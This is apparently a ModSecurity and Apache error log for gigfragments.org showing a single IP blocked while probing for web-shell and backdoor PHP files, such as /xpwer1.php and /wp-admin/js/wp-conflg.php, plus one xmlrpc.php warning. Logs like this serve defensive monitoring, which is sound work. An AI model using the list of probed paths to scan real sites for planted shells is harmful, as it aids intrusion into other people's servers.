[Thu Feb 26 21:08:27.915189 2026] [:error] [pid 44444:tid 44463] [client 20.216.146.160:33913] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/reze.php"] [unique_id "aaBFy22sMNmj-yekUk0ZAwAAAg0"]
[Thu Feb 26 21:08:28.383874 2026] [:error] [pid 44444:tid 44461] [client 20.216.146.160:33095] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/reze.php"] [unique_id "aaBFzG2sMNmj-yekUk0ZCAAAAgs"]
[Thu Feb 26 21:08:28.859897 2026] [:error] [pid 44444:tid 44455] [client 20.216.146.160:36517] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/reze.php"] [unique_id "aaBFzG2sMNmj-yekUk0ZCwAAAgU"]
[Thu Feb 26 21:08:29.331623 2026] [:error] [pid 44444:tid 44471] [client 20.216.146.160:49715] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/reze.php"] [unique_id "aaBFzW2sMNmj-yekUk0ZDwAAAhU"]
[Thu Feb 26 21:08:29.805188 2026] [:error] [pid 44444:tid 44453] [client 20.216.146.160:11088] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/styll.php"] [unique_id "aaBFzW2sMNmj-yekUk0ZEQAAAgM"]
[Thu Feb 26 21:08:30.277261 2026] [:error] [pid 55618:tid 55633] [client 20.216.146.160:34071] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/styll.php"] [unique_id "aaBFzh61Vrh12f_8oWQKYQAAAQw"]
[Thu Feb 26 21:08:30.753467 2026] [:error] [pid 54991:tid 55033] [client 20.216.146.160:35931] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/styll.php"] [unique_id "aaBFzt4Zx-mJ8gbRB2jkagAAAE0"]
[Thu Feb 26 21:08:31.223137 2026] [:error] [pid 44444:tid 44462] [client 20.216.146.160:12203] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/styll.php"] [unique_id "aaBFz22sMNmj-yekUk0ZGAAAAgw"]
[Thu Feb 26 21:08:31.695704 2026] [:error] [pid 20419:tid 20441] [client 20.216.146.160:36528] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/x7.php"] [unique_id "aaBFz-3DVDvMfTYYUBVTwwAAAdM"]
[Thu Feb 26 21:08:32.166929 2026] [:error] [pid 25311:tid 25315] [client 20.216.146.160:11087] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/x7.php"] [unique_id "aaBF0NfdM__yZAgJFSveaAAAAYE"]
[Thu Feb 26 21:08:32.639085 2026] [:error] [pid 55051:tid 55070] [client 20.216.146.160:49679] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/x7.php"] [unique_id "aaBF0AmK1w2kZvh5eLGorQAAAJA"]
[Thu Feb 26 21:08:33.110444 2026] [:error] [pid 3883:tid 3894] [client 20.216.146.160:49673] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/x7.php"] [unique_id "aaBF0eA33x90V6yYHajjAgAAAUg"]
[Thu Feb 26 21:08:33.580194 2026] [:error] [pid 55051:tid 55065] [client 20.216.146.160:14937] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/thebe.php"] [unique_id "aaBF0QmK1w2kZvh5eLGosQAAAIs"]
[Thu Feb 26 21:08:34.054144 2026] [:error] [pid 3883:tid 3910] [client 20.216.146.160:11263] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/thebe.php"] [unique_id "aaBF0uA33x90V6yYHajjBgAAAVg"]
[Thu Feb 26 21:08:34.529997 2026] [:error] [pid 3883:tid 3907] [client 20.216.146.160:30043] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/thebe.php"] [unique_id "aaBF0uA33x90V6yYHajjCwAAAVU"]
[Thu Feb 26 21:08:35.002732 2026] [:error] [pid 3883:tid 3896] [client 20.216.146.160:36964] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/thebe.php"] [unique_id "aaBF0-A33x90V6yYHajjFgAAAUo"]
[Thu Feb 26 21:08:35.471178 2026] [:error] [pid 3883:tid 3893] [client 20.216.146.160:11241] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ddd.php"] [unique_id "aaBF0-A33x90V6yYHajjHAAAAUc"]
[Thu Feb 26 21:08:35.957435 2026] [:error] [pid 54990:tid 54998] [client 20.216.146.160:3119] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ddd.php"] [unique_id "aaBF03tr2qmt_mBhH2wnbwAAAAU"]
[Thu Feb 26 21:08:36.437112 2026] [:error] [pid 44444:tid 44450] [client 20.216.146.160:11594] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ddd.php"] [unique_id "aaBF1G2sMNmj-yekUk0ZHgAAAgA"]
[Thu Feb 26 21:08:36.809145 2026] [:error] [pid 54990:tid 54996] [client 66.116.196.26:41358] [client 66.116.196.26] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.116.196.26, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaBF1Htr2qmt_mBhH2wndAAAAAM"]
[Thu Feb 26 21:08:36.917627 2026] [:error] [pid 55618:tid 55643] [client 20.216.146.160:17742] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ddd.php"] [unique_id "aaBF1B61Vrh12f_8oWQKcQAAARY"]
[Thu Feb 26 21:08:37.414395 2026] [:error] [pid 3883:tid 3897] [client 20.216.146.160:10290] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/bgymj.php"] [unique_id "aaBF1eA33x90V6yYHajjJQAAAUs"]
[Thu Feb 26 21:08:37.886457 2026] [:error] [pid 3883:tid 3902] [client 20.216.146.160:3075] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/bgymj.php"] [unique_id "aaBF1eA33x90V6yYHajjKwAAAVA"]
[Thu Feb 26 21:08:38.373185 2026] [:error] [pid 44444:tid 44464] [client 20.216.146.160:12201] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/bgymj.php"] [unique_id "aaBF1m2sMNmj-yekUk0ZIgAAAg4"]
[Thu Feb 26 21:08:38.841891 2026] [:error] [pid 55051:tid 55075] [client 20.216.146.160:54727] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/bgymj.php"] [unique_id "aaBF1gmK1w2kZvh5eLGouwAAAJU"]
[Thu Feb 26 21:08:39.320004 2026] [:error] [pid 3883:tid 3888] [client 20.216.146.160:21223] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ioxi.php"] [unique_id "aaBF1-A33x90V6yYHajjNgAAAUI"]
[Thu Feb 26 21:08:39.789573 2026] [:error] [pid 3883:tid 3887] [client 20.216.146.160:29343] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ioxi.php"] [unique_id "aaBF1-A33x90V6yYHajjPAAAAUE"]
[Thu Feb 26 21:08:40.261597 2026] [:error] [pid 54990:tid 55017] [client 20.216.146.160:11132] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ioxi.php"] [unique_id "aaBF2Htr2qmt_mBhH2wndgAAABg"]
[Thu Feb 26 21:08:40.732307 2026] [:error] [pid 55618:tid 55638] [client 20.216.146.160:11126] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ioxi.php"] [unique_id "aaBF2B61Vrh12f_8oWQKcgAAARE"]
[Thu Feb 26 21:08:41.206770 2026] [:error] [pid 44444:tid 44472] [client 20.216.146.160:17764] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xpwer1.php"] [unique_id "aaBF2W2sMNmj-yekUk0ZJQAAAhY"]
[Thu Feb 26 21:08:41.706540 2026] [:error] [pid 44444:tid 44461] [client 20.216.146.160:34804] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xpwer1.php"] [unique_id "aaBF2W2sMNmj-yekUk0ZJwAAAgs"]
[Thu Feb 26 21:09:14.151152 2026] [:error] [pid 3883:tid 3903] [client 20.216.146.160:34759] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/adminfuns.php"] [unique_id "aaBF-uA33x90V6yYHajjyAAAAVE"]
[Thu Feb 26 21:09:14.622896 2026] [:error] [pid 44444:tid 44455] [client 20.216.146.160:17741] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/adminfuns.php"] [unique_id "aaBF-m2sMNmj-yekUk0ZVQAAAgU"]
[Thu Feb 26 21:09:15.095812 2026] [:error] [pid 44444:tid 44454] [client 20.216.146.160:40982] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/adminfuns.php"] [unique_id "aaBF-22sMNmj-yekUk0ZVwAAAgQ"]
[Thu Feb 26 21:09:15.585774 2026] [:error] [pid 3883:tid 3897] [client 20.216.146.160:42800] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/adminfuns.php"] [unique_id "aaBF--A33x90V6yYHajjzAAAAUs"]
[Thu Feb 26 21:09:16.068428 2026] [:error] [pid 3883:tid 3902] [client 20.216.146.160:40899] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/PHPMailer/"] [unique_id "aaBF_OA33x90V6yYHajjzgAAAVA"]
[Thu Feb 26 21:09:16.552461 2026] [:error] [pid 3883:tid 3889] [client 20.216.146.160:36249] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/PHPMailer/"] [unique_id "aaBF_OA33x90V6yYHajj0AAAAUM"]
[Thu Feb 26 21:09:17.044803 2026] [:error] [pid 44444:tid 44472] [client 20.216.146.160:40903] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/PHPMailer/"] [unique_id "aaBF_W2sMNmj-yekUk0ZWgAAAhY"]
[Thu Feb 26 21:09:17.515081 2026] [:error] [pid 3883:tid 3890] [client 20.216.146.160:40939] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/PHPMailer/"] [unique_id "aaBF_eA33x90V6yYHajj0gAAAUQ"]
[Thu Feb 26 21:09:18.041361 2026] [:error] [pid 44444:tid 44467] [client 20.216.146.160:20495] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xx.php"] [unique_id "aaBF_m2sMNmj-yekUk0ZXAAAAhE"]
[Thu Feb 26 21:09:18.576203 2026] [:error] [pid 44444:tid 44469] [client 20.216.146.160:40912] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xx.php"] [unique_id "aaBF_m2sMNmj-yekUk0ZYQAAAhM"]
[Thu Feb 26 21:09:19.082661 2026] [:error] [pid 55051:tid 55063] [client 20.216.146.160:42797] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xx.php"] [unique_id "aaBF_wmK1w2kZvh5eLGo8gAAAIk"]
[Thu Feb 26 21:09:19.589669 2026] [:error] [pid 55051:tid 55077] [client 20.216.146.160:40953] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xx.php"] [unique_id "aaBF_wmK1w2kZvh5eLGo9QAAAJc"]
[Thu Feb 26 21:09:20.088070 2026] [:error] [pid 55618:tid 55632] [client 20.216.146.160:28231] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aaBGAB61Vrh12f_8oWQKhwAAAQs"]
[Thu Feb 26 21:09:20.588137 2026] [:error] [pid 25311:tid 25319] [client 20.216.146.160:17740] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aaBGANfdM__yZAgJFSve0gAAAYU"]
[Thu Feb 26 21:09:21.087504 2026] [:error] [pid 54991:tid 55038] [client 20.216.146.160:11269] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aaBGAd4Zx-mJ8gbRB2jkbwAAAFI"]
[Thu Feb 26 21:09:21.581135 2026] [:error] [pid 3883:tid 3898] [client 20.216.146.160:40934] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aaBGAeA33x90V6yYHajj1wAAAUw"]
[Thu Feb 26 21:09:22.079806 2026] [:error] [pid 3883:tid 3905] [client 20.216.146.160:34106] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/f5.php"] [unique_id "aaBGAuA33x90V6yYHajj2QAAAVM"]
[Thu Feb 26 21:09:22.585584 2026] [:error] [pid 25311:tid 25316] [client 20.216.146.160:54782] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/f5.php"] [unique_id "aaBGAtfdM__yZAgJFSve1gAAAYI"]
[Thu Feb 26 21:09:23.082913 2026] [:error] [pid 54990:tid 55006] [client 20.216.146.160:23191] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/f5.php"] [unique_id "aaBGA3tr2qmt_mBhH2wngQAAAA0"]
[Thu Feb 26 21:09:23.583675 2026] [:error] [pid 3883:tid 3887] [client 20.216.146.160:40929] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/f5.php"] [unique_id "aaBGA-A33x90V6yYHajj4AAAAUE"]
[Thu Feb 26 21:09:24.086638 2026] [:error] [pid 55122:tid 55143] [client 20.216.146.160:35952] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/flower.php"] [unique_id "aaBGBILiR0OfjFxvcN8ucAAAANM"]
[Thu Feb 26 21:09:24.590055 2026] [:error] [pid 55122:tid 55142] [client 20.216.146.160:40318] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/flower.php"] [unique_id "aaBGBILiR0OfjFxvcN8ucgAAANI"]
[Thu Feb 26 21:09:25.078785 2026] [:error] [pid 44444:tid 44458] [client 20.216.146.160:34777] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/flower.php"] [unique_id "aaBGBW2sMNmj-yekUk0ZagAAAgg"]
[Thu Feb 26 21:09:25.552693 2026] [:error] [pid 3883:tid 3906] [client 20.216.146.160:40316] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/flower.php"] [unique_id "aaBGBeA33x90V6yYHajj5AAAAVQ"]
[Thu Feb 26 21:09:26.024949 2026] [:error] [pid 55122:tid 55138] [client 20.216.146.160:35927] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/f6.php"] [unique_id "aaBGBoLiR0OfjFxvcN8ucwAAAM4"]
